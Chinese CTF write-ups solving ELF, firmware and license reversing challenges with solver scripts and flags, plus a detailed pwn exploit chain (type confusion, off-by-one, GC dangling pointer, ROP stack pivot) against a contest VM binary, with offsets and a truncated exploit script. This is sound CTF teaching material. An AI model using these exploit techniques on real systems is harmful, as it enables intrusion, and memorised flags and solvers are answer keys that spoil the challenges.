F(x, k) = (ROL64(x + k, 13) XOR ROL64(x, 29)) + ROL64(x, 47)
L = input_lo XOR K[0]
R = input_hi XOR K[1]
for i = 2..31:
(L, R) = (R, L XOR F(R, K[i]))这是 30 轮 Feistel。逆向按 i = 31..2 计算 (L, R) = (R XOR F(L, K[i]), L),最后异或初始密钥,按小端打包并转十六进制,即得到 flag。
4. 验证范围
已完成算法正向回代,以及 Unicorn 中原始 x86-64 解析器和校验器的机器码执行。模拟执行确认了解密产物、自擦除和调用桩修改,并从原调用桩 0x3b30 进入校验。
正确输入输出 flag accepted\n;改单个十六进制字符、长度错误、有调试器、加载对象数过多、加载器断点等案例均无成功输出。结果见 verification.txt。
验证使用模拟的 Linux 加载器元数据和 /proc/self/status,所有 syscall 均在 Python 内处理,没有实际读取系统状态文件。未在原生 Linux 环境运行整个 ELF。
原生 Linux 上的调用形式应为:
./elfstudy 'flag{4865f2079724968a95c217e0ff4db6c6}'正常主流程仍会把第一个参数当作文件名尝试打开,因此可能先报告无法打开该文件;隐藏校验仍使用参数字符串本身。
对应求解脚本:
"""Recover ELFStudy's hidden checker and invert its 30-round Feistel cipher.
All input/output paths are relative to this script's directory. Standard library only.
"""
from pathlib import Path
import struct
ROOT = Path(__file__).resolve().parent
MASK = (1 << 64) - 1
def u64(data, offset):
return struct.unpack_from('<Q', data, offset)[0]
def rol(value, count):
return ((value << count) | (value >> (64 - count))) & MASK
def recover():
data = bytearray((ROOT / 'elfstudy').read_bytes())
# COPY relocations inject this second relocation table into .rela.plt.
# Its first SIZE64 relocation sets symbol 57's value to the additive key.
key = u64(data, 0x1998)
for offset in range(0x1988, 0x1b98, 24):
address, info, addend = struct.unpack_from('<QQQ', data, offset)
if info == 0x3900000001: # R_X86_64_64, symbol 57
struct.pack_into('<Q', data, address, (key + addend) & MASK)
stage1 = bytes(data[0x7325:0x7396])
# IFUNC resolver at 0x7325 decrypts DWORDs backwards, then erases itself.
accumulator = 0
for index in range(0xcb, 0, -1):
offset = 0x7396 + index * 4
value = struct.unpack_from('<I', data, offset)[0] ^ accumulator
assert value, 'Resolver would abort on a zero decrypted DWORD'
struct.pack_into('<I', data, offset, value)
accumulator = (accumulator + value) & 0xffffffff
return data, stage1
def round_function(value, key):
return ((rol((value + key) & MASK, 13) ^ rol(value, 29))
+ rol(value, 47)) & MASK
def solve(data):
keys = [u64(data, 0x7686) ^ u64(data, 0x768e),
u64(data, 0x7696) ^ u64(data, 0x769e)]
for index in range(2, 32):
keys.append(rol((keys[-1] + keys[-2]) & MASK, 13)
^ rol(keys[-2], 57)
^ ((index * 0x9e3779b97f4a7c15) & MASK))
target = (u64(data, 0x76a6), u64(data, 0x76ae))
left, right = target
for index in range(31, 1, -1):
left, right = right ^ round_function(left, keys[index]), left
raw = struct.pack('<QQ', left ^ keys[0], right ^ keys[1])
# Independent forward direction verifies the recovered preimage.
left, right = struct.unpack('<QQ', raw)
left ^= keys[0]
right ^= keys[1]
for index in range(2, 32):
left, right = right, left ^ round_function(right, keys[index])
assert (left, right) == target
return 'flag{' + raw.hex() + '}'
if __name__ == '__main__':
unpacked, resolver = recover()
flag = solve(unpacked)
(ROOT / 'stage1.bin').write_bytes(resolver)
(ROOT / 'unpacked.bin').write_bytes(unpacked)
(ROOT / 'flag.txt').write_text(flag + '\n', encoding='utf-8')
print(flag)
print('Forward cipher verification: PASS')考点补充
核心考点:ELF 动态链接结构的滥用——节表
.rela.dyn大小(0x258)与DT_RELASZ(0x5e8)不一致,用R_X86_64_COPY把第二张重定位表塞进加载流程,再以R_X86_64_SIZE64/R_X86_64_64在页内空隙拼出代码,最后把符号 55 改成指向0x7325的 GNU IFUNC 解析器;拿到解密后的校验器后还要逆推 30 轮 Feistel。关键技巧:顺着
RELATIVE → COPY(0x15e0) → SIZE64(0x16493f2103392e07) + addend这条链还原隐藏重定位,对0x7396 + 4*i的 DWORD 从i=0xcb递减做 XOR 累积解密得到0x739a校验入口;用 Unicorn 直接执行原机器码,配合伪造的加载器元数据和/proc/self/status绕开反调试检测。常见坑:隐藏内容落在节与加载段尾部的页内空隙,只按
.text范围反汇编无法完整看到;解密循环方向不能反,且原文遇到明文 0 就提前退出,脚本里用assert拦下;K[i]递推里ROR64(K[i-2], 7)在脚本中写成等价的rol(keys[-2], 57),不要误认为两处算法不同;Feistel 初值要先与K[0]/K[1]异或,逆向轮序为i=31..2,任一处理错都会回代失败。延伸:IFUNC 解析器在重定位阶段就执行,天然适合当“解密 + 自擦除”载荷;作者同时检查
DT_DEBUG、r_brk处0xcc、TracerPid和加载对象数上限,是典型的反动态调试组合,遇到同类 ELF 应优先静态解析DT_*表而非直接调试。
firmware
solve.py 和 sm4.py 仅使用 Python 标准库,需要当前 OpenSSL 支持 SM3;工作区内的 Python 3.11.9 已验证可用。第二条命令用工作区内的 Unicorn 执行原始 RISC-V 密钥生成函数,验证 Python 复现结果。solution.json 保存最终参数。
压缩包包含 fw_a(静态链接、去符号的 x86-64 ELF)、fw_b.bin(RV32IMAC ELF)和 ota_package.bin(176 字节)。两个固件都以 SM3 校验 .text,摘要位于 .selfhash。分析保留原始固件字节,不修改校验或跳转。
1. RISC-V 密钥材料
fw_b.bin 入口为 0x108fe,实际主体从 0x100b4 开始。自校验后,0x103fa 调用 0x10818,输出 16 字节材料。
0x10818 是固定初始状态、64 轮的 32 位混合函数,使用循环移位、异或、模 2^32 加法。初始状态为 243f6a88 85a308d3 13198a2e 03707344。逐指令复现见 key_material(),按小端序输出:
dd97cb2de25cea1a8a9bc49b81abf9f4fw_a 在 0x401df9 计算它的 SM3,比较前 16 字节,目标位于文件偏移 0xb3200。计算结果与目标一致。
2. 分段解密 OTA 与执行虚拟机
OTA 结构:
文件偏移 | 含义 |
|---|---|
|
|
| 16 字节 nonce: |
| 分段数 3 |
| 拼接后指令明文的 32 字节 SM3 |
| 三项 |
| 三段密文,共 38 字节 |
|
|
| flag 长度 30,小端 uint32 |
| flag 密文 |
第一段种子为 SM3("QWBP-NONCE" || nonce)[:16]。流函数位于 0x403430,依次拼接 SM3(seed || BE32(i)),计数从 0 开始,再与密文异或。
主程序使用 ptrace 将短小的本机指令处理器送进子进程执行,并动态改变保存处理器的异或掩码。还原语义后,只需模拟一个整数栈。实际用到的指令为:
指令 | 语义 |
|---|---|
| 压入 xx |
| 压入 |
| 弹出两项,压入它们的异或 |
| 弹出两项,压入 |
| 弹出一项,输出其低字节 |
| 退出 |
每段执行后,存活栈按小端 64 位整数编码并求 SM3。后续段种子为:
SM3(stack_hash || previous_plaintext || BE32(next_crc32))[:16]解密结果:
段 | 明文 hex | 执行后栈 |
|---|---|---|
0 |
| 26 a5 |
1 |
| 9f 3e |
2 |
| 9f 3e 7c 1a 5b 2d 84 60 |
三段 CRC32 和拼接明文 SM3 全部匹配。参数 vm_out8 是最终栈的八个低字节:9f3e7c1a5b2d8460。运行过程中真正写向 stdout 的两个字节为 1c5f,它们不是这个参数。
3. 联合派生 CTR 初值
文件偏移 0xb3210 的 23 字节逐字节异或 0x5a,得到 QWB2026::TWIN::DEVICE-A。主程序 0x401ed4 至 0x401fac 的派生流程为:
device = SM3("QWB2026::TWIN::DEVICE-A")[:16]
base = SM3(keymat || device || vm_out8)[:16]
ctr = SM3("twin-ctr" || base)[:16]得到:
base = d15b7a4d0a95f859b589b24a14b356a6
ctr = 74150ea892fb5e9683815f03b5035db5SM3(ctr)[:16] 与文件偏移 0xb31f0 的目标匹配。主程序到这里校验联合派生结果;其正常成功提示是 twin-fw: verification ok,不会直接打印 flag。
4. 白盒 SM4 与 flag
文件偏移 0xb3240 起有 0x20028 字节的白盒表,魔数 QWBWBTAB,后跟 32 字节物理行置换和 32 × 4 × 256 个表项。表整体 SM3 前 16 字节也与程序内置目标匹配。
每个表项以大端 uint32 存储。第 j 列满足:
T[row][j][x] = SBOX[x XOR key_byte] << (8*j)因此通过 SBOX^-1(T[row][j][0] >> (8*j)) 可恢复轮密钥字节。注意列 0 对应实际轮密钥的最高字节;不能直接把各表项的位移方向当成 SM4 字节顺序。按置换重新排列 32 个物理行后,逆推 SM4 密钥扩展,得到:
b5202c7d3801350533bacbe58a2be07c全部 32 轮密钥均与该主密钥重新扩展的结果一致。最终以派生的 ctr 为初值,按 128 位大端整数递增,用白盒 SM4 加密各计数块,所得流与 flag 密文异或:
flag{d230_5a75cf4_d8fb3e5_bae}验证包括两个固件的自哈希、密钥材料摘要、三段 CRC、指令整体摘要、CTR 摘要、白盒表摘要、完整轮密钥扩展、标准 SM4 测试向量,以及直接查白盒表与恢复密钥计算出的两个实际 CTR 密钥流块一致。另用 Unicorn 执行原始 0x10818 函数,输出与 Python 复现完全一致。未原生运行整个 Linux 主程序的 fork/ptrace 流程。
解题脚本(exp)如下:
from pathlib import Path
import hashlib, struct, zlib, json, sys
sys.path.insert(0,str(Path(__file__).resolve().parent))
from sm4 import recover, schedule, encrypt, encrypt_table
ROOT=Path(__file__).resolve().parent
A=(ROOT/'fw_a').read_bytes()
B=(ROOT/'fw_b.bin').read_bytes()
OTA=(ROOT/'ota_package.bin').read_bytes()
def sm3(x): return hashlib.new('sm3',x).digest()
def rol(x,n):
n&=31; x&=0xffffffff
return ((x<<n)|(x>>((32-n)&31)))&0xffffffff
def key_material():
s=[0x243f6a88,0x85a308d3,0x13198a2e,0x03707344]
t=0x7c1e9b42; last=0xb5f3a1d7
for i in range(64):
k=((i+1)*0x9e3779b9)&0xffffffff
x=rol(t+k,i&15)^last
last=(x+(x>>3))&0xffffffff
s[i&3]=(rol(s[i&3]^last,7)+(i+1)*0x85ebca6b)&0xffffffff
t=(t+rol(x^k,(i+7)&15))&0xffffffff
j=(i+1)&3
s[j]^=rol(s[j]+t,11)
return struct.pack('<4I',*s)
def stream(seed,n):
return b''.join(sm3(seed+struct.pack('>I',i)) for i in range((n+31)//32))[:n]
def xor(a,b): return bytes(x^y for x,y in zip(a,b))
def run_ota():
seed=sm3(b'QWBP-NONCE'+OTA[8:24])[:16]
stack=[]; output=bytearray(); plaintext=bytearray(); statehash=bytes(32); previous=b''
count=struct.unpack_from('<H',OTA,24)[0]
for block in range(count):
off,n,crc=struct.unpack_from('<III',OTA,0x3c+12*block)
if block: seed=sm3(statehash+previous+struct.pack('>I',crc))[:16]
p=xor(OTA[off:off+n],stream(seed,n))
print('block',block,'seed',seed.hex(),'plaintext',p.hex(),'crc',hex(zlib.crc32(p)),hex(crc))
assert zlib.crc32(p)==crc
pc=0
while pc<len(p):
op=p[pc]; pc+=1; mode=op>>7; op&=127
if op==1:
arg=p[pc]; pc+=1
stack.append(((arg^0x5a)<<4 | (arg^0x5a)>>4)&255 if mode else arg)
elif op==2:
v=stack.pop()^stack.pop()
stack.append(((v<<3)|(v>>5))&255 if mode else v)
elif op==3: output.append(stack.pop()&255)
elif op==4: break
else: raise ValueError(op)
print(' stack',stack,'output',output.hex())
if block<count-1: statehash=sm3(b''.join(struct.pack('<Q',x) for x in stack))
previous=p; plaintext+=p
assert sm3(plaintext)==OTA[28:60]
return bytes(x&255 for x in stack),bytes(plaintext)
if __name__=='__main__':
km=key_material()
assert sm3(km)[:16]==A[0xb3200:0xb3210]
assert sm3(A[0x11c0:0xab8bd])==A[0xea6c0:0xea6e0]
assert sm3(B[0xb4:0x90e])==B[0x940:0x960]
vm,plain=run_ota()
assert len(vm)==8
salt=xor(A[0xb3210:0xb3227],b'\x5a'*23)
base=sm3(km+sm3(salt)[:16]+vm)[:16]
counter=sm3(b'twin-ctr'+base)[:16]
assert sm3(counter)[:16]==A[0xb31f0:0xb3200]
table=A[0xb3240:0xd3268]
assert table[:8]==b'QWBWBTAB'
assert sm3(table)[:16]==A[0xb31e0:0xb31f0]
wbkey,rks=recover(table)
vector=bytes.fromhex('0123456789abcdeffedcba9876543210')
assert encrypt(vector,schedule(vector)).hex()=='681edf34d206965e86b3e94f536e4246'
count=struct.unpack_from('<H',OTA,24)[0]
end=max(sum(struct.unpack_from('<II',OTA,60+12*i)) for i in range(count))
assert OTA[end:end+8]==b'QWBPFLAG'
n=struct.unpack_from('<I',OTA,end+8)[0]
cipher=OTA[end+12:end+12+n]
assert len(cipher)==n
keystream=b''
for i in range((n+15)//16):
block=((int.from_bytes(counter,'big')+i)%(1<<128)).to_bytes(16,'big')
a=encrypt(block,rks)
assert a==encrypt_table(block,table)
keystream+=a
flag=xor(cipher,keystream)
assert xor(flag,keystream)==cipher
result={'keymat':km.hex(),'vm_out8':vm.hex(),'device_salt':salt.decode(),
'base':base.hex(),'counter':counter.hex(),'whitebox_sm4_key':wbkey.hex(),
'ota_plaintext':plain.hex(),'flag':flag.decode()}
(ROOT/'solution.json').write_text(json.dumps(result,indent=2)+'\n',encoding='utf-8')
print(json.dumps(result,indent=2))
print('All integrity, CRC, key schedule, and direct whitebox checks passed.')考点补充
核心考点:固件题的多层算法串联——SM3 自哈希校验、SM3 链式流密码、自定义栈式虚拟机,以及白盒 SM4 表结构下的密钥恢复与 CTR 解密,最终 flag 由多段派生密钥共同决定。
关键技巧:用
SM3(seed || BE32(i))按计数块生成密钥流,并以 CRC32 与整段 SM3 作为断言逐步确认解密正确;从T[row][j][x] = SBOX[x XOR key_byte] << (8*j)反推SBOX^-1(T[row][j][0] >> (8*j))得到轮密钥字节,再逆推 SM4 密钥扩展;用 Unicorn 直接执行原始0x10818交叉验证 Python 复现结果。常见坑:虚拟机真正写向 stdout 的
1c5f不是参数vm_out8(应为9f3e7c1a5b2d8460);白盒表列 0 对应轮密钥最高字节,把位移方向当成 SM4 字节序会算错密钥;三段种子依赖上一段执行后的栈哈希、明文与下一段 CRC,顺序或编码(小端 64 位、BE32)错一处后续全错。延伸:这类自校验固件不必 patch 校验或跳转,保留原始字节做纯静态复现即可;分析时按「自校验 → 密钥材料 → 分段解密 → 白盒/CTR」分层,每层都留摘要比对,能在早期定位偏差,避免直接运行 fork/ptrace 主程序这类不可控路径。
license
flag{9530b81c-61d0-2b62-3e96-f9a5e937f893}该字符串由附件中原有的隐藏校验逻辑生成,并从原有输出调用处捕获,不是从 strings 搜索得到,也没有在求解脚本中写死。
本次采用 Unicorn 模拟 Linux x86-64 指令及必要的 Linux 系统调用语义。最终复现执行了 17,138 条隐藏指令,在一处注入了根据比较目标反推的中间状态。这是 flag 提取解法,不是完整有效许可证生成器;没有声称原文件在真实 Linux 环境中直接接受了某个输入。 recovered_input.json 的 license 字段只是模拟用输入,未恢复的位置仍是零。
一键复现
在工作区根目录运行:
.\tools\python\python.exe -B .\license_re\solve_license.py依赖工作区已有的 Unicorn、Capstone,以及同目录的原始 license、emulate.py、required_state.json 和 recovered_input.json。无需联网,不运行宿主 Linux 命令,也不读取宿主 /proc。
成功后写出 flag.txt 与 result.json。result.json 明确记录验证方式、隐藏指令数量,以及尚未恢复完整有效许可证的限制。
1. 文件与表层流程
ZIP 内只有一个 1,747,992 字节的 ELF64 x86-64 文件。入口为 0x402610,主函数为 0x402f9a。文件保留了部分符号,包括:
地址 | 符号 / 用途 |
|---|---|
| sec_env_probe:反调试检测 |
| wb_read_line:输入读取 |
| chow_wb_encrypt:表层白盒处理 |
| wb_verify_fold:折叠比较结果 |
| ext_encoding_apply:外部编码及会话状态 |
| 安装信号处理器,进入隐藏校验 |
输入格式为 96 个十六进制字符,对应 48 字节。主函数在白盒相关函数之后仍会进入隐藏校验,因此不能把白盒符号当成唯一校验入口。
2. 浮点常量编码
0x402747 从 0x50d8a0 的 float 数组读取一个数,调用反正弦函数,乘以 256,再转换为整数并取低八位:
decoded[i] = round(asin(float_table[i]) * 256) & 0xff还原后得到提示字符串、256 字节置换表、GF(16) 乘法表、24 字节比较目标及用于输出的加密常量。常量保存在 decoded_constants.bin。例如偏移 0x242 处还原为 please input your license:。
3. 单步异常驱动的隐藏执行
初始化代码创建运行状态、查表数据及跳转流,将 0x404000 开始的代码区设为可写,并设置 EFLAGS.TF。0x406000 是 SIGTRAP 处理器。
正常执行不是沿静态反汇编顺序前进,而是:
调度器根据跳转流、计数器、上次位置、环境检测值及校验中间量计算下一条指令位置。
解密该位置的 16 字节窗口,保存原来的密文字节。
开启单步,执行其中的一条真实指令。
SIGTRAP 处理器恢复密文,转入下一轮调度。
因此直接反汇编大片代码会得到大量看似合法但无意义的指令。四个主要调度器相距 0x800,其单步转接点包括相对代码区的 0x254、0xa5c、0x1254 和 0x1a53。
emulate.py 保留原文件代码及原调度算法,只在模拟器中实现对应的异常转接。系统调用由内存内的模型提供:例如返回 TracerPid: 0 的合成内容、无效文件描述符返回 -EBADF,不打开宿主文件、不创建真实子进程、不执行真实 ptrace。TF、IF、RCX、R11 以及 syscall 后的单步时机都影响解密状态,不能简单地把所有 syscall 当作返回零的空操作。
4. 利用解密连续性恢复约束
隐藏代码会执行如下形式的状态更新:
movzx eax, byte ptr [r12 + ...]
movzx ecx, word ptr [r12 + 0xa]
xor cl, al
mov word ptr [r12 + 0xa], cx如果字节不正确,下一条指令的地址和解密结果会同时改变。对这个字节枚举 256 种取值,正确值会产生连续、合理的指令流;错误值通常跳到无意义的指令。候选不唯一时继续执行若干条指令区分。
recover_vm.py 记录了这种约束恢复过程,vm_repairs.json 保存了枚举得到的值。恢复出的后 24 字节实际上是内层解释器的字节码:
00800cc020e00101600c20e000800ca14040e01a038260e0较后的校验还会读取前 24 字节中的单个字节,与已知中间量异或,再经若干查表与旋转操作混入指令解密状态。recover_input.py 在读取前建立快照,逐字节枚举,恢复了 13 个被这种逻辑直接使用的位置。部分位置重复被检查,得到的值一致。
这些枚举只用于分析阶段;最终 solve_license.py 不再逐条修正指令解密密钥,而是使用保存的字节值运行原隐藏代码。
5. 反推可用于 flag 提取的中间状态
前 24 字节经过三轮 Feistel 形式的变换、与输入异或以及一个 24×24 的可逆二进制线性层。在线性层的每个字节输出中,输入字节仅通过 XOR 组合,因此可以直接从已解密指令中提取矩阵。
程序比较使用的目标为:
082f54e63c2997605d0679ba143a49d07dcdba76266c79d0对线性矩阵做高斯消元,得到其输入应为:
8721a19db336fdb91f3f6f5b9a2adcdc0b53034b6a8a0324这个推导过程保留在 extract_flag.py,结果保存到 required_state.json。最终复现仅在 0x40d405 执行前,将上述状态写入运行状态的 +0x90,并将 target XOR state 写入 +0xa8,与此时程序预期的表示一致。后续比较、字节码处理、混合运算与输出生成继续执行原始隐藏指令。模拟器最后在原 puts 调用地址 0x488370 捕获到了开头给出的 flag。
保留的主要产物
solve_license.py:最终快速复现入口。emulate.py:ELF 装载、异常转接及系统调用模型。recover_vm.py、recover_input.py:分析阶段的约束枚举脚本;前者是探索脚本,并非最终复现入口。input_trace.txt、input_instructions.json:成功提取过程的隐藏指令与运行轨迹。required_state.json、recovered_input.json:最终复现所需的恢复数据。flag.txt、result.json:结果与验证范围。
所有文件操作均限于工作区;原压缩包未修改,解压后的 ELF 也未打补丁。中间状态调整发生在 Unicorn 的模拟内存中。
最终复现脚本 solve_license.py 如下:
"""Extract the flag with recovered VM state; does not claim a valid license."""
import json
import re
import sys
from pathlib import Path
ROOT = Path(__file__).resolve().parent
sys.path.insert(0, str(ROOT))
from emulate import Emulator
def main():
required = json.loads((ROOT / 'required_state.json').read_text())
recovered = json.loads((ROOT / 'recovered_input.json').read_text())
state = bytes.fromhex(required['state'])
target = bytes.fromhex(required['target'])
trial_input = bytes.fromhex(recovered['license'])
emu = Emulator(trial_input, trace=False)
injected = False
def before(ins):
nonlocal injected
if ins.address == 0x40d405:
assert not injected
# Undo the known invertible linear layer of the 24-byte target.
# At this point a8 contains target XOR state; the next block
# removes that XOR before comparing with the constant target.
p = emu.get('r12')
emu.u.mem_write(p + 0x90, state)
emu.u.mem_write(p + 0xa8, bytes(a ^ b for a, b in zip(target, state)))
injected = True
emu.before = before
emu.run()
matches = re.findall(rb'flag\{[^}\r\n]+\}', b'\n'.join(emu.output))
assert injected and len(matches) == 1, 'Expected one flag from original output routine'
flag = matches[0].decode('ascii')
result = {
'flag': flag,
'method': 'Unicorn execution of original VM with one recovered intermediate-state injection',
'hidden_instructions_executed': emu.steps,
'native_execution_verified': False,
'valid_license_recovered': False,
'recovered_first_half_positions': recovered['recovered'],
'second_half': required['bytecode'],
}
(ROOT / 'result.json').write_text(json.dumps(result, indent=2), encoding='utf-8')
(ROOT / 'flag.txt').write_text(flag + '\n', encoding='ascii')
print(flag)
if __name__ == '__main__':
main()考点补充
核心考点:单步异常(EFLAGS.TF + SIGTRAP)驱动的自解密指令流逆向——代码区被改写为可写,每条指令执行前解密、执行后回填密文,必须还原调度器与异常转接语义才能得到真实指令序列。
关键技巧:用「解密连续性」逐字节枚举 256 种取值,以指令流是否连续合理作为判别条件,从
mov word ptr [r12 + 0xa]这类状态更新反推正确字节;再把 24×24 可逆线性层当作二进制矩阵做高斯消元,从比较目标082f54e6…逆出中间状态8721a19d…,只需在0x40d405前注入一次即可跑完原隐藏代码。常见坑:未解密前的大片反汇编看似合法实则无意义;四个调度器相距
0x800,转接点容易混;把 syscall 当成返回零的空操作会破坏 TF/IF/RCX/R11 与单步时机,导致解密状态错位;注入的是中间状态而非许可证,注入位置或+0x90/+0xa8的语义搞错会得到错误字节串。延伸:面对白盒+异常单步+运行时自修改的多层保护,纯静态分析会失效,但也不需要完整重建输入;只要定位到「比较前一刻」的状态表示,就能用模拟器承接剩余原始指令完成输出,这种「半符号执行 + 单点状态注入」思路同样适用于其他虚拟机型混淆与许可校验题。
pwn
babel
一、程序结构分析
题目给了一个 Dockerfile 和一个 64 位 ELF(PIE、NX 开启、无栈 canary)。strings 里能查到大量 caml* 符号和 .ml 源文件路径,说明外层是 OCaml 程序;但入口并不是标准的 OCaml runtime 启动流程——main(0xd710)先跑一段自定义初始化,然后进入 0xdb80 的解释循环。也就是说,题目逻辑是一个手写的字节码虚拟机,OCaml 部分只负责外层启动。
初始化阶段做了四件事:
注册 opcode 映射表(
0x75f60)与 64 个 handler 函数指针表(0x76060);mmap 一块 16 MB 的 VM 堆,另留 4 MB 的 extern 区;
安装 seccomp 白名单,只放行
read/write/close/openat/brk/rt_sigprocmask/exit/exit_group;进入循环,不断读取
[u32 len][payload](len在 1 到0x10000之间),把 payload 读进.bss的0x65e40,再交给解释器执行。
其中两点与后面的利用直接相关:payload 缓冲区 0x65e40 正好紧邻 extern 表 0x75e40;而且 VM 状态(栈、256 个全局变量、堆)跨轮保留,所以可以分多次交互逐步搭建堆布局。
VM 的值模型如下(tag 为最小位以外的类型编号):
tag | 含义 | 关键字段 |
|---|---|---|
0 | 整数 | 立即数 |
1 | 字符串 |
|
3 / 5 | 数组(两种构造器) |
|
7 | builtin 对象 |
|
9 | extern 对象 |
|
堆采用 bump 分配 + 压缩式 GC,根集合是 VM 栈、全局变量和注册表。
指令方面共有 27 条,输入字节映射到 0x00–0x19 与 0x20,其中 0x0f 是 concat、0x14 生成 builtin 对象、0x16/0x17/0x18 分别对应 extern 分配/读/写、0x19 是 bind、0x20 是调用 builtin。
二、猜想与黑盒验证
静态逆向 OCaml 生成的机器码成本很高,所以先做动态实验:用 socketpair 把进程的 0/1/2 都接上,逐字节喂入程序,观察每条 opcode 的行为。
只喂单个字节时,打印类指令(
0x12)会崩溃,因为栈为空;补一个 push 就正常输出十进制值。数组指令
0x08/0x09后面跟 u32 元素个数,0x0a/0x0b用 u32 下标读写元素;字符串0x0c/0x0d同理。最关键的发现是
0x0f:它的语义是「拼接」,但只检查值的最低位奇偶性,没有校验 tag。把两个字符串喂给它,得到正常拼接结果;但把一个数组喂给它时,程序没有报 type trap,而是从堆里拷了一段数据出来。对照反汇编可以看到,concat是这么取源的:长度取块
+0x10(对数组来说是元素个数);源地址取块
+0x18(对数组来说是第 0 个元素的原始 64 位值,不是指针)。
也就是说,concat(array, 0) 会从 堆基址 + element[0] 拷 count 字节到新字符串,再用 print 就能输出——这就是一个任意堆读原语。
紧接着发现第二个问题:concat 生成字符串时,+0x14 写的是 (len+1) | 0x80000000,但按 size = (len+0x1f) & ~0xf 分配后,payload 实际只有 len 字节。当 len 是 16 的倍数时,容量正好是 len,而 string-set 允许下标 < len+1,于是可以越界写 1 字节,正好落在下一个堆块的类型字节上。
三、漏洞链
四个问题串起来就是一条完整链条:
concat类型混淆 → 任意堆读。 数组元素 0 存的是原始值,push 时值会被乘 2,所以填偏移/2即可让读指针指向任意堆内偏移;长度取元素个数。字符串容量 off-by-one → 改下一块的类型字节。 用
concat造一个长度恰为0x100的字符串 S1,它后面紧跟另一个字符串 S2,则sset(S1, 0x100)恰好写到 S2 的 type 字节。类型污染 + GC → 悬空数据指针。 把 S2 的 type 从 0 改成 1 之后,GC 在标记阶段会把它当数组扫描元素,但在压缩搬迁阶段只有 type 0 的字符串才会更新
+0x18数据指针。于是回收完成后 S2 的数据指针仍指向旧位置。
只要堆布局安排成 [已死的 Zd(总大小 0x100)][S1(长度 0x100)][S2(长度 0x100)][T(extern 对象,0x20)],压缩后 S2.data 的旧值就精确落在搬迁后的 T 上。此后用 sset(S2, i) 就能覆盖 T 的头部字段。
bind越权写 → 函数指针劫持。bind要求对象 tag 为 9、+0x14 == -1、+0x18 < 16。正常 extern 对象的+0x14是 size,构造不出来 -1;但上一步已经能任意改 T 的字段,于是伪造出「size = -1、槽位 = N」的 extern 对象,bind就会执行table[slot] = { value>>1, 0x100000 }:槽位 0–7 落在 extern 表上,配合
extern_read/extern_write得到任意地址读写;槽位 8 落在 builtin 函数指针表,可以直接覆盖
builtin[0]。
四、利用步骤
泄露 PIE。 先用
builtin_obj(0)在堆偏移 0 处造一个 tag 7 对象,它的+0x18是&函数指针表[id](固定偏移0x59098)。用漏洞 1 读出 8 字节拼成整数,减去0x59098即得到 PIE 基址,且结果页对齐可作为自检。整理堆布局。 用
concat倍增构造0x10到0x10000的活字符串,最后一次分配会触发 GC,把之前所有垃圾清干净;然后再按上面的四块布局精确摆放 Zd、S1、S2、T,其中 Zd 里顺便埋入/flag字符串常量。触发压缩。 用
sset把 S2 的 type 改成 1,再做一次大concat触发 GC,S2 的数据指针就指向 T 了。泄露 libc。 把 T 的
+0x14写成0xFF(即 -1)、+0x18写成 0,然后bind(T, pie+0x58e00)把open64的 GOT 槽绑到槽位 0;用extern_read读 8 字节得到open64的真实地址,减去0x11b3f0得到 libc 基址。劫持控制流。 把 T 的槽位改成 8,再
bind(T, libc+0x5ef6f),builtin[0]就被改成 libc 里的mov rsp, rdx ; ret。调用call builtin 0时,rdx正好指向 VM 栈上的参数数组,于是栈直接迁移到我们预先布置好的 ROP 链上。ROP 取 flag。 链条为
close(0)→open("/flag", 0)→read(0, buf, 0x100)→fputs(buf, stdout)→exit(0)。
关键偏移汇总:
项目 | 偏移 |
|---|---|
builtin 对象泄露点 |
|
open64 GOT 槽 |
|
pop rdi ; pop rbp ; ret |
|
pop rsi ; ret |
|
pop rax ; add rsp,0x18 ; ret |
|
pop rdx 系列 |
|
close / open64 / read / fputs / exit 的 PLT |
|
libc open64 / stdout / 栈迁移 gadget |
|
五、实现中遇到的问题
VM 的 push 存的是
v<<1。 所以 ROP 链里每个地址必须压入「地址/2」,否则弹出来的是两倍值。VM 没有除法指令,于是改成按字节拼出「半值」:高 7 字节照常移位累加,最后一字节单独取半再加进去。整数常量只能是偶数。 直接算出的半值末位可能为奇,无法用 push 表示。解决办法是先
close(0),让open("/flag")返回 fd 0,整条链就不需要任何奇数常量;输出用fputs(buf, stdout)也不依赖 fd 1。saveprevssp在当前 CPU 上非法指令。 最初选的是 libc 里那条rdx → rsp的路径,运行直接ud2,换成0x5ef6f处的mov rsp, rdx ; ret后正常。读写原语的偏移要除以 2。 数组元素存的是原始值,用
concat读堆时填的是偏移/2;但 string-set 的写入值是原值,不除 2,这里一开始写反了导致一直 type trap。
六、验证结果
利用脚本对按 Dockerfile 部署的本地服务连续跑 5 次全部成功,对比赛远端 47.93.38.163:26647 连续 3 次全部成功(每次连接 ASLR 都不同,说明链条不依赖固定布局),拿到 flag。
七、完整 EXP
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""babel (2026 ichunqiu) exploit
Vulnerability chain
1. VM opcode 'concat' (0x0f) only checks the value tag parity. Feeding an
ARRAY to it makes the VM use array element[0] (raw qword) as the data
offset and array count as the length -> heap read primitive.
2. A concat-produced string's capacity field is (len+1) while its payload is
only len bytes -> string-set can write 1 byte past the payload, i.e. into
the type byte of the following heap block.
3. Corrupting a string's type (0 -> 1) makes the GC treat it as an array:
its data pointer is no longer relocated during compaction. After a GC the
stale pointer lands exactly on a following extern object -> arbitrary
write into that object's fields (size = -1, slot = N).
4. opcode 'bind' (0x19) then performs an 8-byte write to the runtime table,
giving arbitrary read/write + a builtin function-pointer overwrite.
5. Overwrite builtin[0] with libc mov rsp, rdx ; ret , call it with a ROP
chain kept on the VM stack -> close(0), open('/flag'), read, fputs, exit.
"""
import socket, struct, sys, time
# ---- binary / libc constants (Ubuntu 24.04, glibc 2.39-0ubuntu8.9) ----
PIE_LEAK_OFF = 0x59098 # &table[id] stored inside a builtin object
GOT_OPEN64 = 0x58e00 # .got slot used by open64@plt
LIBC_OPEN64 = 0x11b3f0
LIBC_STDOUT = 0x2055c0 # IO_2_1_stdout
LIBC_PIVOT = 0x5ef6f # mov rsp, rdx ; ret
G_POPRDI_POPRBP = 0xe14a
G_POPRSI = 0xe1ae
G_POPRAX_SKIP = 0x1d190
G_POPRDX = 0x29eb2
PLT_CLOSE = 0xd0f0
PLT_OPEN64 = 0xd380
PLT_READ = 0xd1e0
PLT_FPUTS = 0xd3d0
PLT_EXIT = 0xd1a0
BUF_REL = 0x65e40 + 0x8000
SCRATCH_REL = 0x75f50
class Asm:
def init(self):
self.b = bytearray()
def emit(self, *parts):
for p in parts:
if isinstance(p, int):
self.b.append(p)
else:
self.b += p
def push(self, v):
